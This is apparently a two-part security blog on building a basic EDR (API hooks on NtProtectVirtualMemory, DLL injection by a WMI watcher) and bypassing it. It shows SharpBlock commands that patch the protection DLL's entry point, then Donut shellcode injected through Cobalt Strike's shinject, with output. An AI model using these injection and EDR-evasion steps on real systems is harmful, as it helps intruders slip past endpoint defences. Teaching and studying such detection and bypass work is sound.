SharpBlock.exe -e c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike"

The SylantStrikeInject process will then detect the launch of notepad and attempt to load the active protection DLL

SylantStrikeInject.exe -p notepad.exe -d C:\tools\SylantStrike.dll
Waiting for process events
Listening for the following processes: notepad.exe 

+ Injecting process notepad.exe(6784) with DLL C:\tools\SylantStrike.dll

But this time, SharpBlock detects the loaded DLL from the description field of SylantStrike.dll’s version info and patches the entry point

SharpBlock by @_EthicalChaos_
DLL Blocking app for child processes

[+] Launched process c:\windows\system32\notepad.exe with PID 6784
[+] Blocked DLL C:\tools\SylantStrike.dll
[+] Patching DLL Entry Point at 0x7ffd89932c74
[+] Successfully patched DLL Entry Point

Attempting to injecting our shellcode from part 1 using Cobalt Strike results in the successful launch of calc and cmd and is not blocked by SylantStrike’s active DLL protection.

shinject 6784 x64 C:\Tools\SylantStrike\loader.bin

If you are interested in giving it a go, head over to the SharpBlock project on GitHub

Acknowledgements

Lets Create An EDR... And Bypass It!

Lets Create An EDR… And Bypass It! Part 1

I was initially intending on writing a blog post on bypassing EDR solutions using a method I have not seen before. But after some thought of how I would demonstrate this, I decided on actually creating a basic EDR first. Hopefully this will share some insights on how they work in addition to methods of bypass.

There are a range of methods that Anti Virus and EDR solutions use to detect malicious programs or behaviors.

Signature Detection

As the name implies, signature detection is the process of analyzing the signatures of files for known malware previously seen before. This can be something as simple as comparing a SHA1 hash of a file with a known database of malware. Generally signature detection is implemented at kernel level using file system filters. For example, Microsoft have a specific technology built into Windows for this very purpose. Files are scanned during the opening phase and if the file is deemed malicious, the filter driver will block access to the file from the calling application. Signature detection is usually the first line of defense employed by AV’s and EDR’s.

Sandboxing

If signature detection fails to stop the latest and greatest malware from running, the EDR’s next line of defence is sandboxing. Prior to allowing any executable from running, EDR’s will run the potentially malicious program inside a virtual machine. Not the kind we run our own virtual machines inside, but one designed to analyze program flow and look for known malware through dynamic analysis. Some vendors claim to have special AI engines that analyse program flow etc…, so how these are implemented are somewhat of a black box. I personally believe they are done through control flow graph (CFG) analysis. The advantage of CFG analysis means the re-compilation of binaries or other small changes will still produce the same CFG regardless of the resulting executable being different. Whilst the EDR sandbox is a decent line of defence, it can succumb to various bypasses.

The first is time. The virtual machine will only spend a finite amount of time analyzing executables. So if there is enough complexity in the program being virtualized, eventually the sandbox will give up if it hasn’t found the binary to be malicious in nature in that time.

The second bypass method that is commonly used to thwart the sandbox is breaking up control flow to prevent further analysis. As mentioned earlier, the sandbox is essentially a virtual machine, but there will be certain OS API calls that it cannot really virtualize successfully. When this occurs, the sandbox will not be able to carry on analyzing program flow and generally give up and let the program continue on it’s merry path.

Active Protection

The next stage of protection employed by these solutions is something I call active protection. Different products market this under different names. It’s generally implemented through loading a DLL into each process and implementing API function hooks (more on this later) to analyse and monitor for suspicious behaviors that are not generally found when running benign programs.

A simplified version of active protection is what I will be looking to implement as part 1 of this series. In part 2 I’ll cover bypassing this method using a technique I’ve not seen used before, but with the same ultimate goal. Making the malware API calls invisible to the active protection.

Event Tracing

I’d be remiss if I did not mention event tracing. All the methods above are proactive forms of protection, designed to stop malware from executing. Event tracing is the reactive component to an EDR’s arsenal. When all proactive protections have failed, event tracing is used to analyze a series of events that have occurred and tie these to behaviors found when executing malware. Some of you maybe familiar with sysmon, and essentially EDR vendors implement their own implementation of sysmon to achieve the same goals.

So with the various methods covered, lets dive in.

SylantStrike

Welcome to SylantStrike, the most sophisticated open source Windows EDR solution available on the market…. hmm, well, not quite.

OK, so as mentioned earlier in the article, the area that we will be looking to implement in our super cool EDR solution is the active protection component. Generally this is implemented using function hooks. So what is a function hook? A function hook is essentially a method of changing the behavior of a pre-existing API by redirecting execution of the function to user controlled code.

Take a look at the jsfiddle below. We essentially replace the default window.alert function and add some custom behavior to it. The concept is no different to this.

It would be awesome if native API’s could be replaced as easy as the fiddle above, but at a native level it’s a little more complex. Hooking native API’s involve patching the first instruction of the API we are looking to intercept with a JMP instruction to our intercepted version of the API call. If you are interested in more technical details regarding native inline function hooks, head over to MalwareTech’s blog, he has a great post describing Inline Hooking.

Luckily for us there are an array of libraries already available that make the hooking processes a breeze. Check out the listing here on GitHub for some of the libraries available.

For SylantStrike I decided to go with MinHook. It supports both x86 and AMD64 architectures and is fairly minimal in terms of source files to include into our uber cool EDR solution.

Active Protection DLL

Now that we have decided on a hooking library, lets take a look at our basic DLL entry point for implementing our active protection DLL. The active protection is implemented as a DLL since it will eventually be loaded into all of the processes we are looking to protect.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"

#include "minhook/include/MinHook.h"
#include "SylantStrike.h"

DWORD WINAPI InitHooksThread(LPVOID param) {

    //MinHook itself requires initialisation, lets do this
    //before we hook specific API calls.
    if (MH_Initialize() != MH_OK) {
        OutputDebugString(TEXT("Failed to initalize MinHook library\n"));
        return -1;
    }

    //Now that we have initialised MinHook, lets prepare to hook NtProtectVirtualMemory from ntdll.dll
    MH_STATUS status = MH_CreateHookApi(TEXT("ntdll"), "NtProtectVirtualMemory", NtProtectVirtualMemory, 
                                           reinterpret_cast<LPVOID*>(&pOriginalNtProtectVirtualMemory));  

    //Enable our hooks so they become active
    status = MH_EnableHook(MH_ALL_HOOKS);

    return status;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
        //We are not interested in callbacks when a thread is created
        DisableThreadLibraryCalls(hModule);

        //We need to create a thread when initialising our hooks since
        //DllMain is prone to lockups if executing code inline.
        HANDLE hThread = CreateThread(nullptr, 0, InitHooksThread, nullptr, 0, nullptr);
        if (hThread != nullptr) {
            CloseHandle(hThread);
        }
        break;
    }
    case DLL_PROCESS_DETACH:

        break;
    }
    return TRUE;
}

The DllMain function above is the entry point to our protection DLL. Whenever the DLL is loaded using the LoadLibrary API, the function is called automatically along with the DLL_PROCESS_ATTACH reason. The code then creates a separate thread to setup our hooked functions. Ideally we should do this inline and not within a separate thread, but there is very little that can executed inside DllMain without creating deadlocks, so we delegate to a thread instead.

The responsibility of the InitHooksThread function is to initialise the MinHook library itself, setting up each individual function we are interested in hooking, then finally enabling the hooks.

One of the many API’s that EDR solutions will hook is the NtProtectVirtualMemory API. This function enables an application to change the memory protection options for a specific range of memory. Memory can be marked as read only (RO), read write (RW), read execute (RX) or read/write execute (RWX). RWX is what our trusty EDR solution will be looking for. RWX is seldom required for generic application code, but malware will quite often request this mode of protection due to the nature of how malicious code functions. A typical example is AMSI bypass. AMSI bypasses usually involve patching the AmsiScanBuffer API at runtime to change its behaviour to always return a clean result. This will usually involve a call to NtProtectVirtualMemory to change the memory protection from RX to RWX for a short period of time whilst the patch is applied. Ergo, an update of a memory range’s protection flags to RWX is what we are going to implement within our EDR.

// SylantStrike.cpp : Hooked API implementations
//

#include "pch.h"
#include "framework.h"
#include "SylantStrike.h"

//Pointer to the trampoline function used to call the original API.
//This will be initialised by MinHook during initialisation.
pNtProtectVirtualMemory pOriginalNtProtectVirtualMemory = nullptr;

DWORD NTAPI NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PULONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection) {

	//Check to see if the calling application is requesting RWX
	if ((NewAccessProtection & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE) {
		//It was, so notify the user of naughty behaviour and terminate the running program
		MessageBox(nullptr, TEXT("You've been a naughty little hax0r, terminating program"), TEXT("Hax0r Detected"), MB_OK);
		TerminateProcess(GetCurrentProcess(), 0xdead1337);
		//Unreachable code
		return 0;
	}

	//No it wasn't, so just call the original function as normal
	return pOriginalNtProtectVirtualMemory(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection);
}

The hooked version of NtProtectVirtualMemory checks the NewAccessProtection flag to determine if the application is requesting the RWX protection level on the memory range. If RWX is requested then we simply alert the user to the suspicious activity and terminate the offending process. If RWX is not requested, the code simply calls the original NtProtectVirtualMemory API and returns the result.

And that is it, excluding third party code, in little more than 75 lines of code, we have implemented a very basic EDR solution that will terminate any program that tries to change the protection mode of any memory to RWX.

Injector

With the active protection DLL in place, we now need a way to have each process load the DLL on startup. SylantStrikeInject to the rescue, a C# program that will monitor and load our protection DLL into foreign processes. There are various ways EDR’s will do this. Many will chose the PsSetCreateProcessNotifyRoutine to monitor for process creation, but the drawback is that this API can only be used from within a driver, and since we are implementing a simple EDR, we don’t want to be going down that route. So instead we can use WMI to monitor for new process events.

       static void WaitForProcess()
        {
            try
            {
                var startWatch = new ManagementEventWatcher(new WqlEventQuery("SELECT * FROM Win32_ProcessStartTrace"));
                startWatch.EventArrived += new EventArrivedEventHandler(startWatch_EventArrived);
                startWatch.Start();
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine($"+ Listening for the following processes: {string.Join(" ", processList)}\n");
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine(ex);
            }
        }

When a new process is launched, the startWatch_EventArrived function will be called with details of the process that has started.

       static void startWatch_EventArrived(object sender, EventArrivedEventArgs e)
        {
            try
            {
                var proc = GetProcessInfo(e);
                if (processList.Contains(proc.ProcessName.ToLower()))
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine($" Injecting process {proc.ProcessName}({proc.PID}) with DLL {dllPath}");
                    BasicInject.Inject(proc.PID, dllPath);
                }
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine(ex);
            }
        }

We then check that the process that has just started is on our list of names to inject our protection DLL, afterall, we don’t want to inject everything for our demo EDR. If the process is on our list of processes to inject, the code calls BasicInject.Inject to handle the loading of the DLL into the foreign executable.

    public static int Inject(int pid, string dllName) {

        // geting the handle of the process - with required privileges
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid);

        // searching for the address of LoadLibraryA and storing it in a pointer
        IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

        // alocating some memory on the target process - enough to store the name of the dll
        // and storing its address in a pointer
        IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

        // writing the name of the dll there
        UIntPtr bytesWritten;
        WriteProcessMemory(procHandle, allocMemAddress, Encoding.ASCII.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);

        // creating a thread that will call LoadLibraryA with allocMemAddress as argument
        CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);

        return 0;
    }

The inject code allocates a block of memory to hold the path to our protection DLL and writes the full path into the remote process’s memory space. The code also determines where the address of the LoadLibraryA function resides in memory. Once these steps have been performed, a thread is created in the remote process using the address of the LoadLibrary API call, and the thread parameter is the address of where the active protection DLL path exists in memory. Once the thread is created, the active protection DLL will be loaded by the remote process.

And we are done, we have our active protection DLL and C# loader ready to rock.

Demo

So first things first is to start SylantStrikeInject to monitor for process creation and inject the protection DLL. Process monitoring using WMI relies on administrative permissions, so SylantStrikeInject should be launched from an elevated command prompt. For this demonstration we are only interested in protecting notepad and calc.

.\SylantStrikeInject.exe --process=notepad.exe --process=calc.exe --dll=c:\tools\SylantStrike\SylantStrike.dll
Waiting for process events
+ Listening for the following processes: notepad.exe calc.exe

 Injecting process notepad.exe(22808) with DLL c:\tools\SylantStrike\SylantStrike.dll

Launching notepad will trigger the injection of SylantStrike and will protect notepad from any code that attempts to adjust memory protection to RWX.

Confirmation DLL loaded using ProcessHacker’s Modules list on notepad.exe

To confirm our protection is active and working I’m going to use the awesome Donut tool from @TheRealWover. Donut can convert multiple types of EXE/DLL’s into position independant shellcode that can be injected into foreign processes.

 C:\Tools\donut\donut.exe -a 2 DemoCreateProcess.dll -c TestClass -m RunProcess -p "calc.exe"

  [ Donut shellcode generator v0.9.3
  [ Copyright (c) 2019 TheWover, Odzhan

  [ Instance type : Embedded
  [ Module file   : "DemoCreateProcess.dll"
  [ Entropy       : Random names + Encryption
  [ File type     : .NET DLL
  [ Class         : TestClass
  [ Method        : RunProcess
  [ Parameters    : calc.exe
  [ Target CPU    : amd64
  [ AMSI/WDLP     : continue
  [ Shellcode     : "loader.bin"

The command above uses Donut’s DemoCreateProcess library which will attempt to launch a process. This is then converted into shellcode and stored inside a file called loader.bin

Our next step is to load the generated shellcode into our notepad process that is actively protected by SylantStrike. There are loads of methods available to inject shellcode into a foreign process but for this demonstration I’m going to use CobaltStrike.

Using the shinject beacon command, we choose our notepad PID and path to the donut generated shellcode.

Once the shellcode is loaded into notepad and begins executing, the malicious little blighter is stopped in its tracks by SylantStrike’s protection.

If you are interested in having a go yourself, head over to the SylantStrike repo on GitHub.

Conclusion

In this example here I am only demonstrating one particular function hook and suspicious behavior. In reality there are numerous API hooks and suspicious behaviours a fully fledged EDR will look out for.

In part 2 I will cover a few methods on how our new EDR solution can be bypassed, so until then, thanks for reading.

Acknowledgements